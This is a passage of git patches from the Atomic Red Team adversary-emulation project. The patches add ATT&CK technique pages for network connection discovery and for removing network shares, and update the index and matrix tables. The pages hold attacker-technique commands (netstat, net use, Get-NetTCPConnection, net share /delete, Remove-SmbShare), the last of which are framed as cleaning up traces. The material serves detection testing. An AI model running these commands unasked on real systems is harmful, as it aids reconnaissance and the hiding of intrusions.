Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | | | | | | | | | Signed Script Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [Hidden Users](./T1147/T1147.md) | | | | | | | diff --git a/atomics/windows-index.md b/atomics/windows-index.md index affcfd92..1f2cdbf3 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -168,7 +168,8 @@ - Atomic Test #10: Create ADS PowerShell [windows] - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] -- T1062 Hypervisor [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1062 Hypervisor](./T1062/T1062.md) + - Atomic Test #1: Installing Hyper-V Feature [windows] - [T1183 Image File Execution Options Injection](./T1183/T1183.md) - Atomic Test #1: IFEO Add Debugger [windows] - Atomic Test #2: IFEO GLobal Flags [windows] diff --git a/atomics/windows-matrix.md b/atomics/windows-matrix.md index 4a4f3ef6..b1e23b5c 100644 --- a/atomics/windows-matrix.md +++ b/atomics/windows-matrix.md @@ -18,7 +18,7 @@ | | [Rundll32](./T1085/T1085.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Configuration Discovery](./T1016/T1016.md) | [Windows Remote Management](./T1028/T1028.md) | | | [Remote File Copy](./T1105/T1105.md) | | | [Scheduled Task](./T1053/T1053.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](./T1179/T1179.md) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | Service Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Hypervisor [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scheduled Task](./T1053/T1053.md) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Service Discovery](./T1007/T1007.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | Service Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hypervisor](./T1062/T1062.md) | [Scheduled Task](./T1053/T1053.md) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Service Discovery](./T1007/T1007.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | | [System Time Discovery](./T1124/T1124.md) | | | | [Uncommonly Used Port](./T1065/T1065.md) | | | Signed Script Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Logon Scripts](./T1037/T1037.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | From 7f613df3a3ca83ac826faca2994ec5fc7deda1f0 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 6 Jul 2018 19:54:35 +0000 Subject: [PATCH 87/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1049/T1049.md | 73 +++++++++++++++++++++++++++++++++++++++ atomics/index.md | 5 ++- atomics/linux-index.md | 3 +- atomics/linux-matrix.md | 2 +- atomics/macos-index.md | 3 +- atomics/macos-matrix.md | 2 +- atomics/matrix.md | 2 +- atomics/windows-index.md | 4 ++- atomics/windows-matrix.md | 2 +- 9 files changed, 88 insertions(+), 8 deletions(-) create mode 100644 atomics/T1049/T1049.md diff --git a/atomics/T1049/T1049.md b/atomics/T1049/T1049.md new file mode 100644 index 00000000..24b97e5e --- /dev/null +++ b/atomics/T1049/T1049.md @@ -0,0 +1,73 @@ +# T1049 - System Network Connections Discovery +## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1049) +
    Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. + +===Windows=== + +Utilities and commands that acquire this information include netstat, "net use," and "net session" with Net. + +===Mac and Linux === + +In Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to "net session". + +Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. + +Platforms: Linux, macOS, Windows + +Data Sources: Process command-line parameters, Process monitoring + +Permissions Required: User, Administrator
    + +## Atomic Tests + +- [Atomic Test #1 - System Network Connections Discovery](#atomic-test-1---system-network-connections-discovery) + +- [Atomic Test #2 - System Network Connections Discovery with PowerShell](#atomic-test-2---system-network-connections-discovery-with-powershell) + +- [Atomic Test #3 - System Network Connections Discovery Linux & MacOS](#atomic-test-3---system-network-connections-discovery-linux--macos) + + +
    + +## Atomic Test #1 - System Network Connections Discovery +Get a listing of network connections. + +**Supported Platforms:** Windows + + +#### Run it with `command_prompt`! +``` +netstat +net use +net sessions +``` +
    +
    + +## Atomic Test #2 - System Network Connections Discovery with PowerShell +Get a listing of network connections. + +**Supported Platforms:** Windows + + +#### Run it with `powershell`! +``` +Get-NetTCPConnection +``` +
    +
    + +## Atomic Test #3 - System Network Connections Discovery Linux & MacOS +Get a listing of network connections. + +**Supported Platforms:** Linux, macOS + + +#### Run it with `sh`! +``` +netstat +who -a +``` +
    diff --git a/atomics/index.md b/atomics/index.md index a2b39b09..69de9ed6 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -365,7 +365,10 @@ - [T1016 System Network Configuration Discovery](./T1016/T1016.md) - Atomic Test #1: System Network Configuration Discovery [windows] - Atomic Test #2: System Network Configuration Discovery [macos, linux] -- T1049 System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1049 System Network Connections Discovery](./T1049/T1049.md) + - Atomic Test #1: System Network Connections Discovery [windows] + - Atomic Test #2: System Network Connections Discovery with PowerShell [windows] + - Atomic Test #3: System Network Connections Discovery Linux & MacOS [linux, macos] - [T1033 System Owner/User Discovery](./T1033/T1033.md) - Atomic Test #1: System Owner/User Discovery [windows] - Atomic Test #2: System Owner/User Discovery [linux, macos] diff --git a/atomics/linux-index.md b/atomics/linux-index.md index c73a4a03..3f46854a 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -57,7 +57,8 @@ - Atomic Test #3: List OS Information [linux, macos] - [T1016 System Network Configuration Discovery](./T1016/T1016.md) - Atomic Test #2: System Network Configuration Discovery [macos, linux] -- T1049 System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1049 System Network Connections Discovery](./T1049/T1049.md) + - Atomic Test #3: System Network Connections Discovery Linux & MacOS [linux, macos] - [T1033 System Owner/User Discovery](./T1033/T1033.md) - Atomic Test #2: System Owner/User Discovery [linux, macos] diff --git a/atomics/linux-matrix.md b/atomics/linux-matrix.md index b183c694..b240deea 100644 --- a/atomics/linux-matrix.md +++ b/atomics/linux-matrix.md @@ -11,7 +11,7 @@ | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Trap](./T1154/T1154.md) | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Information Discovery](./T1082/T1082.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Trap](./T1154/T1154.md) | | [Install Root Certificate](./T1130/T1130.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | [Screen Capture](./T1113/T1113.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Masquerading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Masquerading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Network Connections Discovery](./T1049/T1049.md) | | | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Obfuscated Files or Information [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Process Injection](./T1055/T1055.md) | | | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/macos-index.md b/atomics/macos-index.md index b0a0cccd..3df47cce 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -81,7 +81,8 @@ - Atomic Test #3: List OS Information [linux, macos] - [T1016 System Network Configuration Discovery](./T1016/T1016.md) - Atomic Test #2: System Network Configuration Discovery [macos, linux] -- T1049 System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1049 System Network Connections Discovery](./T1049/T1049.md) + - Atomic Test #3: System Network Connections Discovery Linux & MacOS [linux, macos] - [T1033 System Owner/User Discovery](./T1033/T1033.md) - Atomic Test #2: System Owner/User Discovery [linux, macos] diff --git a/atomics/macos-matrix.md b/atomics/macos-matrix.md index 51f7867d..87bf5369 100644 --- a/atomics/macos-matrix.md +++ b/atomics/macos-matrix.md @@ -14,7 +14,7 @@ | | [Trap](./T1154/T1154.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](./T1063/T1063.md) | | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Information Discovery](./T1082/T1082.md) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | [Logon Scripts](./T1037/T1037.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Plist Modification](./T1150/T1150.md) | | [Install Root Certificate](./T1130/T1130.md) | | System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Plist Modification](./T1150/T1150.md) | | [Install Root Certificate](./T1130/T1130.md) | | [System Network Connections Discovery](./T1049/T1049.md) | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | [Rc.common](./T1163/T1163.md) | | [Launchctl](./T1152/T1152.md) | | | | | | [Remote File Copy](./T1105/T1105.md) | | | | [Re-opened Applications](./T1164/T1164.md) | | Masquerading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/matrix.md b/atomics/matrix.md index 236bb8ec..e9ba5f89 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -16,7 +16,7 @@ | | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Image File Execution Options Injection](./T1183/T1183.md) | DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Keychain](./T1142/T1142.md) | [Security Software Discovery](./T1063/T1063.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Mshta](./T1170/T1170.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Daemon](./T1160/T1160.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | LLMNR/NBT-NS Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Information Discovery](./T1082/T1082.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [PowerShell](./T1086/T1086.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [New Service](./T1050/T1050.md) | [Disabling Security Tools](./T1089/T1089.md) | [Network Sniffing](./T1040/T1040.md) | [System Network Configuration Discovery](./T1016/T1016.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [Regsvcs/Regasm](./T1121/T1121.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Windows Admin Shares](./T1077/T1077.md) | | | [Remote File Copy](./T1105/T1105.md) | +| | [Regsvcs/Regasm](./T1121/T1121.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Connections Discovery](./T1049/T1049.md) | [Windows Admin Shares](./T1077/T1077.md) | | | [Remote File Copy](./T1105/T1105.md) | | | [Regsvr32](./T1117/T1117.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Private Keys](./T1145/T1145.md) | [System Owner/User Discovery](./T1033/T1033.md) | [Windows Remote Management](./T1028/T1028.md) | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Rundll32](./T1085/T1085.md) | [Hidden Files and Directories](./T1158/T1158.md) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Service Discovery](./T1007/T1007.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Scheduled Task](./T1053/T1053.md) | [Hooking](./T1179/T1179.md) | [Process Injection](./T1055/T1055.md) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Time Discovery](./T1124/T1124.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 1f2cdbf3..2b8f4372 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -242,7 +242,9 @@ - Atomic Test #1: System Information Discovery [windows] - [T1016 System Network Configuration Discovery](./T1016/T1016.md) - Atomic Test #1: System Network Configuration Discovery [windows] -- T1049 System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1049 System Network Connections Discovery](./T1049/T1049.md) + - Atomic Test #1: System Network Connections Discovery [windows] + - Atomic Test #2: System Network Connections Discovery with PowerShell [windows] - [T1033 System Owner/User Discovery](./T1033/T1033.md) - Atomic Test #1: System Owner/User Discovery [windows] - [T1007 System Service Discovery](./T1007/T1007.md) diff --git a/atomics/windows-matrix.md b/atomics/windows-matrix.md index b1e23b5c..d1e38c20 100644 --- a/atomics/windows-matrix.md +++ b/atomics/windows-matrix.md @@ -16,7 +16,7 @@ | | [Regsvcs/Regasm](./T1121/T1121.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [New Service](./T1050/T1050.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](./T1063/T1063.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Regsvr32](./T1117/T1117.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Disabling Security Tools](./T1089/T1089.md) | [Private Keys](./T1145/T1145.md) | [System Information Discovery](./T1082/T1082.md) | [Windows Admin Shares](./T1077/T1077.md) | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Rundll32](./T1085/T1085.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Configuration Discovery](./T1016/T1016.md) | [Windows Remote Management](./T1028/T1028.md) | | | [Remote File Copy](./T1105/T1105.md) | -| | [Scheduled Task](./T1053/T1053.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Scheduled Task](./T1053/T1053.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Connections Discovery](./T1049/T1049.md) | | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](./T1179/T1179.md) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Service Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hypervisor](./T1062/T1062.md) | [Scheduled Task](./T1053/T1053.md) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Service Discovery](./T1007/T1007.md) | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Signed Binary Proxy Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Image File Execution Options Injection](./T1183/T1183.md) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | | [System Time Discovery](./T1124/T1124.md) | | | | [Uncommonly Used Port](./T1065/T1065.md) | From 6ec08211f8484041cbb3f38739a186ba78a4c6f4 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 6 Jul 2018 19:56:24 +0000 Subject: [PATCH 88/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1126/T1126.md | 62 +++++++++++++++++++++++++++++++++++++++ atomics/index.md | 4 ++- atomics/matrix.md | 2 +- atomics/windows-index.md | 4 ++- atomics/windows-matrix.md | 2 +- 5 files changed, 70 insertions(+), 4 deletions(-) create mode 100644 atomics/T1126/T1126.md diff --git a/atomics/T1126/T1126.md b/atomics/T1126/T1126.md new file mode 100644 index 00000000..fa418b2a --- /dev/null +++ b/atomics/T1126/T1126.md @@ -0,0 +1,62 @@ +# T1126 - Network Share Connection Removal +## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1126) +
    Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use) + +Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. + +Detection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity. + +Platforms: Windows + +Data Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs + +Defense Bypassed: Host forensic analysis + +Permissions Required: User, Administrator + +System Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used.
    + +## Atomic Tests + +- [Atomic Test #1 - Remove Network Share](#atomic-test-1---remove-network-share) + +- [Atomic Test #2 - Remove Network Share PowerShell](#atomic-test-2---remove-network-share-powershell) + + +
    + +## Atomic Test #1 - Remove Network Share +Removes a Network Share utilizing the command_prompt + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| share_name | Share to remove. | string | \\test\share| + +#### Run it with `command_prompt`! +``` +net share #{share_name} /delete +``` +
    +
    + +## Atomic Test #2 - Remove Network Share PowerShell +Removes a Network Share utilizing PowerShell + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| share_name | Share to remove. | string | \\test\share| + +#### Run it with `powershell`! +``` +Remove-SmbShare -Name #{share_name} +Remove-FileShare -Name #{share_name} +``` +
    diff --git a/atomics/index.md b/atomics/index.md index 69de9ed6..113a1784 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -215,7 +215,9 @@ - Atomic Test #1: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject [windows] - [T1096 NTFS File Attributes](./T1096/T1096.md) - Atomic Test #1: Alternate Data Streams (ADS) [windows] -- T1126 Network Share Connection Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1126 Network Share Connection Removal](./T1126/T1126.md) + - Atomic Test #1: Remove Network Share [windows] + - Atomic Test #2: Remove Network Share PowerShell [windows] - T1027 Obfuscated Files or Information [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1150 Plist Modification](./T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] diff --git a/atomics/matrix.md b/atomics/matrix.md index e9ba5f89..912b69ea 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -38,7 +38,7 @@ | | | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Modify Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | [Plist Modification](./T1150/T1150.md) | | [Mshta](./T1170/T1170.md) | | | | | | | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | -| | | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Network Share Connection Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Network Share Connection Removal](./T1126/T1126.md) | | | | | | | | | | [Rc.common](./T1163/T1163.md) | | Obfuscated Files or Information [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | [Re-opened Applications](./T1164/T1164.md) | | [Plist Modification](./T1150/T1150.md) | | | | | | | | | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 2b8f4372..a590b7b9 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -57,7 +57,9 @@ - Atomic Test #1: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject [windows] - [T1096 NTFS File Attributes](./T1096/T1096.md) - Atomic Test #1: Alternate Data Streams (ADS) [windows] -- T1126 Network Share Connection Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1126 Network Share Connection Removal](./T1126/T1126.md) + - Atomic Test #1: Remove Network Share [windows] + - Atomic Test #2: Remove Network Share PowerShell [windows] - T1027 Obfuscated Files or Information [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1186 Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1093 Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/windows-matrix.md b/atomics/windows-matrix.md index d1e38c20..c858c4a1 100644 --- a/atomics/windows-matrix.md +++ b/atomics/windows-matrix.md @@ -31,7 +31,7 @@ | | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Modify Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | [Registry Run Keys / Start Folder](./T1060/T1060.md) | | [Mshta](./T1170/T1170.md) | | | | | | | | | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | -| | | [Scheduled Task](./T1053/T1053.md) | | Network Share Connection Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | [Scheduled Task](./T1053/T1053.md) | | [Network Share Connection Removal](./T1126/T1126.md) | | | | | | | | | | Screensaver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Obfuscated Files or Information [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | Security Support Provider 